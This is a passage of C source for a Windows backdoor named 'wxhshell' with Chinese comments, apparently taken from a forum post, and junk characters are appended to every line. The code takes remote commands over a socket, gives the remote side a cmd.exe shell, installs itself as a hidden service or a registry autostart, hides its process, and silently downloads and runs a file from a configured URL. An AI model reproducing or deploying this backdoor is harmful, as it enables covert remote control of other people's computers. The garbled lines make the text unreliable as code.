  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iL7-4Lv#  
  } J+3\2D?  
  else { )tN?: l  
h \D_  
    switch(cmd[0]) { ~{1/*&P  
  e9z$+h  
  // 帮助 cotxo?)Zv  
  case '?': { =2.tu*!C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5T$9'5V7  
    break; `uIx/.L  
  } 9:9N)cNvfX  
  // 安装 Wz6]*P`qv  
  case 'i': { [ 5CS}FB  
    if(Install()) ?Kx6Sf<i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #/n|@z'  
    else * 1 |YLy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g:3d<CS  
    break; Lf,CxZL5  
    } ?r -\%_J_(  
  // 卸载 pr62:  
  case 'r': { )CC?vV  
    if(Uninstall()) 936Ff*%(l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ffmG~$Yh_  
    else Qa,NGP.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JYZ2k=zh  
    break; bDciZ7[b  
    } e={k.y }x}  
  // 显示 wxhshell 所在路径 =&di4'`  
  case 'p': { i_ |9<7a  
    char svExeFile[MAX_PATH]; \]Y\P~n  
    strcpy(svExeFile,"\n\r"); /#-,R,Q  
      strcat(svExeFile,ExeFile); K)<Wm,tON  
        send(wsh,svExeFile,strlen(svExeFile),0); 2x-'>i_|g  
    break; K(-G: |  
    } 3[MdUj1y[  
  // 重启 eP V-yy  
  case 'b': { $Nj'OJSj%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _v1bTg"?  
    if(Boot(REBOOT)) o\_ Td  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @MNl*~'$.[  
    else { KotPV  
    closesocket(wsh); fC=fJZU7$  
    ExitThread(0); Jn@Z8%B@Z  
    } Oq #o1>  
    break; *e(:["v  
    } >}-~rZ  
  // 关机 4fu'QZ(}  
  case 'd': { ?wGiog<Q{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "sFW~Y  
    if(Boot(SHUTDOWN)) ?F!EB4E\y}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]WTf< W<  
    else { v*&Uk '4E  
    closesocket(wsh); Lf5%M|o.)  
    ExitThread(0); w@87]/4Rq  
    } f&6w;T=  
    break; gE\A9L~b  
    } 5){tBK|  
  // 获取shell uK$=3[;U/!  
  case 's': { VT'0DQ!NIq  
    CmdShell(wsh); y:qx5Mi  
    closesocket(wsh); A ?#]s  
    ExitThread(0); d/l,C4p  
    break; P;j&kuW|zL  
  } .6\T`6H=a  
  // 退出 BqQ] x'AF  
  case 'x': { F;pTXt}?5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3.(.*>  
    CloseIt(wsh); |a%B|CX  
    break;  ,Qat  
    } :M@Mmp Ph  
  // 离开 -UJ?L  
  case 'q': { 5(423"(y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #>BX/O*D  
    closesocket(wsh); <'W=]IAV  
    WSACleanup(); |pBMrN+is  
    exit(1); FX7M4t#<  
    break; Ft3I>=f{  
        } l(gJLjTH%  
  } Dzo{PstM%  
  } 'c#IMlv  
dl:-k  r8  
  // 提示信息 RV}GK L>gn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )^&,Dj   
} tzPC/?  
  } ~ eHRlXL'  
\N?7WQ  
  return; Yhe+u\vGs\  
} `N$!s7M  
yji>*XG  
// shell模块句柄 c& 3#-DNI  
int CmdShell(SOCKET sock) F,Q?s9s  
{ 7 %3<~'v[  
STARTUPINFO si; r?\|f:M3  
ZeroMemory(&si,sizeof(si)); k5wi'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -xz|ayn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cs t&0  
PROCESS_INFORMATION ProcessInfo; _AprkI_  
char cmdline[]="cmd"; #9i6+. Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ssw&'B|o  
  return 0; Gbn4 *<N  
} ,7<DGI_y  
jP+ pA e  
// 自身启动模式 N};t<Xev  
int StartFromService(void) kQIfYtT  
{ '#A:.P  
typedef struct ~H u"yAR  
{ +qhnP$vIe  
  DWORD ExitStatus; Y87XLvig}  
  DWORD PebBaseAddress; Ssf+b!e]  
  DWORD AffinityMask; +RS$5NLH  
  DWORD BasePriority; )km7tA 0a  
  ULONG UniqueProcessId; 1M+oTIN  
  ULONG InheritedFromUniqueProcessId; 'y.JcS!|  
}   PROCESS_BASIC_INFORMATION; {OCJ(^8i  
+;dXDZ2  
PROCNTQSIP NtQueryInformationProcess; (UGol[f<  
(N0sE"_~I5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1%jH^,t/m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dMV=jJ%Y  
U<[jT=L  
  HANDLE             hProcess; {p]=++  
  PROCESS_BASIC_INFORMATION pbi; ,#d[ad<  
=!CU $g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @\jQoaLT$_  
  if(NULL == hInst ) return 0; hVM2/j  
4H-j .|e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,Kw5Ro`I:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8_a3'o%5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^C7C$TZS  
'I v_mig  
  if (!NtQueryInformationProcess) return 0; Rh<N);Sl7  
)xt4Wk/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5g>wV  
  if(!hProcess) return 0; _mk5^u/u  
41yOXy ;~l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J633uH}}  
o @KW/RN"  
  CloseHandle(hProcess); 6 D/tK|  
]Ik%#l.G_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \$pkk6Q3,w  
if(hProcess==NULL) return 0; 6/1$< !WH  
74f9|~%  
HMODULE hMod; `!i-#~n  
char procName[255]; Y(r@v  
unsigned long cbNeeded; h1f8ktF  
?WHy0x20  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jhy(x1%  
[@G`Afaf  
  CloseHandle(hProcess); S GM!#K  
Q9slfQ  
if(strstr(procName,"services")) return 1; // 以服务启动 m@\ZHbq  
.~mCXz<x  
  return 0; // 注册表启动 f Iy]/  
} hs(W;tR@W  
o`6|ba  
// 主模块 %Q~CB7ILK  
int StartWxhshell(LPSTR lpCmdLine) ~xDw*AC-  
{ CS@&^SEj  
  SOCKET wsl; o@k84+tn(  
BOOL val=TRUE; O3qM1-k}S  
  int port=0; -^SA8y  
  struct sockaddr_in door;  'Cc(3  
BsLG^f  
  if(wscfg.ws_autoins) Install(); A-uB\ L  
XUmR{A  
port=atoi(lpCmdLine); |W7rr1]~S  
&y\sL"YL!  
if(port<=0) port=wscfg.ws_port; xs!p|  
GEe`ZhG,  
  WSADATA data; 8C7Z{@A&#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jd:B \%#![  
"A[ b rG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y*LaBxt Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L1 #Ij#  
  door.sin_family = AF_INET; tju|UhP3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,pt%) c  
  door.sin_port = htons(port); Qe$k3!  
i8PuC^]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :i*JnlvZ  
closesocket(wsl); h(' )"  
return 1; sl|_=oXT  
} }Je>;{&%  
]}PV"|#K{c  
  if(listen(wsl,2) == INVALID_SOCKET) { \2kPq>hu  
closesocket(wsl); K@:m/Z}|4  
return 1; tE"Si<[]H$  
} N "Wqy  
  Wxhshell(wsl); >e&:`2%.  
  WSACleanup(); jC, FG'P  
|$+5@+Zz  
return 0; !<n"6KA.  
[L~@uAMw:  
} pa<qZZ  
K_BPZ5w  
// 以NT服务方式启动 n$)_9:Z-j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kQv*eZ~  
{ 2eP ;[o  
DWORD   status = 0; @aG&n(.!u*  
  DWORD   specificError = 0xfffffff; Bl;KOR  
SUtf[6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X%{'<baR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 53OJ-m%a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #D%ygh=  
  serviceStatus.dwWin32ExitCode     = 0; f [o%hCS  
  serviceStatus.dwServiceSpecificExitCode = 0; -9Ws=r0R  
  serviceStatus.dwCheckPoint       = 0; Q<"[C 1Lj  
  serviceStatus.dwWaitHint       = 0; 'r} fZ  
+M\8>/0oA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uB.-t^@  
  if (hServiceStatusHandle==0) return; kBEmmgL  
Q(@IK&v  
status = GetLastError(); ! . HnGb+  
  if (status!=NO_ERROR) gn1(4 o  
{ #Gf+=G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M8;lLcgu.  
    serviceStatus.dwCheckPoint       = 0; RDQ^dui  
    serviceStatus.dwWaitHint       = 0; Iw=Sq8  
    serviceStatus.dwWin32ExitCode     = status; <:;^'x>!  
    serviceStatus.dwServiceSpecificExitCode = specificError; KLQ!b,=q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j|(Z#3J  
    return; WE!vSZ3R  
  } z(HaRB3l  
+Ov2`O8?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GH4iuPh]  
  serviceStatus.dwCheckPoint       = 0; 2y GOzc  
  serviceStatus.dwWaitHint       = 0; ` $5UHa2/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lPP,`  
} X" R<J#4  
g@v s*xE  
// 处理NT服务事件,比如:启动、停止 Zm TDQ`Ix  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U8QX46Br  
{ E+xuWdp.*  
switch(fdwControl) ]Yyia.B  
{ pK&I^r   
case SERVICE_CONTROL_STOP: 2 h|e  
  serviceStatus.dwWin32ExitCode = 0; _7)F ?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d5j_6X  
  serviceStatus.dwCheckPoint   = 0; ">jwh.  
  serviceStatus.dwWaitHint     = 0; 7*H:Ob)9k  
  { RuRt0Sd3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pd@;b5T  
  } 7,$z;Lr0S  
  return; TYgQJW?  
case SERVICE_CONTROL_PAUSE: S01wwZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fZWGn6$   
  break; t!;/Z6\Pb  
case SERVICE_CONTROL_CONTINUE: C*70;:b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GUB`|is^  
  break; _GtBP'iN  
case SERVICE_CONTROL_INTERROGATE: *JCQu0  
  break; hP@(6X,"  
}; H}0dd"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2ef;NC.&n  
} ZXiRw)rM  
/="HqBI#i  
// 标准应用程序主函数 <>&=n+i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :KE/!]z  
{ 5>0.NiXGf'  
AHh#Fx+K  
// 获取操作系统版本 y=N"=Z  
OsIsNt=GetOsVer(); 2!&pEqs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %CH6lY=lI  
0%C^8%(x  
  // 从命令行安装 H'g?llh1J  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0irr7Y  
}p3b#fAr  
  // 下载执行文件 gSi5u# }J  
if(wscfg.ws_downexe) { $~u.Wq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |7F*MP  
  WinExec(wscfg.ws_filenam,SW_HIDE); ur%$aX)  
} hSV@TL  
[s6C ZcL  
if(!OsIsNt) { *o?i:LE]  
// 如果时win9x,隐藏进程并且设置为注册表启动 pa/9F[  
HideProc(); C3;[e0.1b  
StartWxhshell(lpCmdLine); b5`KB75sbo  
} wT_^'i*@I  
else m#@_8_ M  
  if(StartFromService()) ?T'][q  
  // 以服务方式启动 _ n O.-  
  StartServiceCtrlDispatcher(DispatchTable); 6].:.b\qQc  
else Ob@Hng% v  
  // 普通方式启动 1"E\C/c  
  StartWxhshell(lpCmdLine); %efGt6&  
EA0iYzV  
return 0; 9C}qVoNu  
}
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只看该作者 1 发表于: 2006-10-10
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